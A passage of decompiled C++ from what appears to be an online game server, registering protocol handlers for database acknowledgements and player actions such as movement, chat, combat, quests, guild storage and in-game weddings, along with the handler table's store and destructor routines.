GameDBSession::gds_NC_ITEMDB_WEAPONENDURE_CHARGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 159, GameDBSession::gds_NC_ITEMDB_MYSTERY_VAULT_MAKEITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 2, GameDBSession::gds_NC_CHARSAVE_ALL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 6, GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 8, GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 10, GameDBSession::gds_NC_CHARSAVE_SKILL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 27, GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 29, GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 40, GameDBSession::gds_NC_CHARSAVE_DB_UI_STATE_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 2, GameDBSession::gds_NC_SKILL_SKILLTEACHSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 3, GameDBSession::gds_NC_SKILL_SKILLTEACHFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 13, GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 12, GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 19, GameDBSession::gds_NC_SKILL_EMPOWALLOC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 38, GameDBSession::gds_NC_SKILL_ERASE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 8, GameDBSession::gds_NC_WT_LICENSE_CLR_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 6, GameDBSession::gds_NC_WT_LICENSE_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 10, GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 12, GameDBSession::gds_NC_WT_TITLE_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 87, GameDBSession::gds_NC_CHAR_CLASSCHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 94, GameDBSession::gds_NC_CHAR_STAT_INCPOINTSUC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 96, GameDBSession::gds_NC_CHAR_STAT_INCPOINTFAIL_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 100, GameDBSession::gds_NC_CHAR_STAT_DECPOINTSUC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 102, GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 210, GameDBSession::gds_NC_CHAR_FREESTAT_SET_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 119, GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 129, GameDBSession::gds_NC_CHAR_WEDDINGDATA_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 132, GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 134, GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_CANCEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 138, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_AGREE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 140, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_FORCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 142, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_DO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 144, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 146, GameDBSession::gds_NC_CHAR_WEDDING_DO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 136, GameDBSession::gds_NC_CHAR_WEDDING_ESCAPE_DIVORCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 148, GameDBSession::gds_NC_CHAR_WEDDING_PARTNER_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 154, GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 4, GameDBSession::gds_NC_QUEST_DB_SET_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 6, GameDBSession::gds_NC_QUEST_DB_CLEAR_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 10, GameDBSession::gds_NC_QUEST_DB_GIVE_UP_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 7, GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 8, GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 9, GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 10, GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 115, GameDBSession::gds_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 117, GameDBSession::gds_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 131, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 132, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 134, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 136, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 38, 108, GameDBSession::gds_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 29, 230, GameDBSession::gds_NC_GUILD_TOURNAMENT_DB_JOIN_NEW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 90, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 94, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_ADD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 96, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 92, GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 180, GameDBSession::gds_NC_CHAR_REGNUM_VARIFICATION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 37, 63, GameDBSession::gds_NC_HOLY_PROMISE_DB_GET_CEN_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 37, 67, GameDBSession::gds_NC_HOLY_PROMISE_DB_WITHDRAW_CEN_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 36, GameDBSession::gds_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 13, GameDBSession::gds_NC_DICE_TAISAI_DB_EXPECT_INCOME_MONEY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 17, GameDBSession::gds_NC_DICE_TAISAI_DB_RECEIPT_INCOME_MONEY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 24, GameDBSession::gds_NC_DICE_TAISAI_DB_RANK_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 45, GameDBSession::gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 45, 18, GameDBSession::gds_NC_USER_CONNECTION_DB_CHANGE_CHAR_ID_ITEM_USE_ACK); } //----- (004971A0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5B0F08: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ShineObjectClass__ShinePlayer_____NETCOMMAND __int_unsigned short_____vftable_[5])(void *p, char); //----- (004971D0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::pft_Store(PROTOCOLFUNCTIONTEMPLETE *this, int depart, int command, void (__thiscall *pnt)(GameDBSession *, NETCOMMAND *, int)) { PROTOCOLFUNCTIONTEMPLETE *v4; // esi@1 signed int v5; // eax@2 v4 = this; if ( (void (__thiscall **)(GameDBSession *, NETCOMMAND *, int))this->pft_funcpnt[command] == this->4100 ) { this->pft_funcpnt[command] = (void (__thiscall **)(GameDBSession *, NETCOMMAND *, int))operator new__(0x100u); v5 = 0; do { v4->pft_funcpnt[command][v5] = v4->4356; v4->pft_funcpnt[command][v5 + 1] = v4->4356; v4->pft_funcpnt[command][v5 + 2] = v4->4356; v4->pft_funcpnt[command][v5 + 3] = v4->4356; v5 += 4; } while ( v5 < 64 ); } if ( v4->pft_funcpnt[command][depart] != v4->4356 ) { AssertClass::ac_AssertFail(&shineassert, "PROTOCOLFUNCTIONTEMPLETE::pft_Store : Duplicate protocol set", 0); ShineExit("PROTOCOLFUNCTIONTEMPLETE::pft_Store"); } v4->pft_funcpnt[command][depart] = pnt; } //----- (004972A0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004972C0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))InventoryLocking::InventoryCellLock::icl_OnlyLock); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))InventoryLocking::InventoryCellLock::icl_OnlyLock); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 78, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 92, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 98, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 176, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 185, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 188, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 16, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 7, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BRIEFINFO_INFORM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 20, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_FLY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 39, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 45, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERSTART_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 48, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 75, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 79, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 81, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEACK_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 83, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 86, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 88, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 91, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 92, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 94, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 147, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 103, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 15, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_TARGETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 24, (void (__thiscall 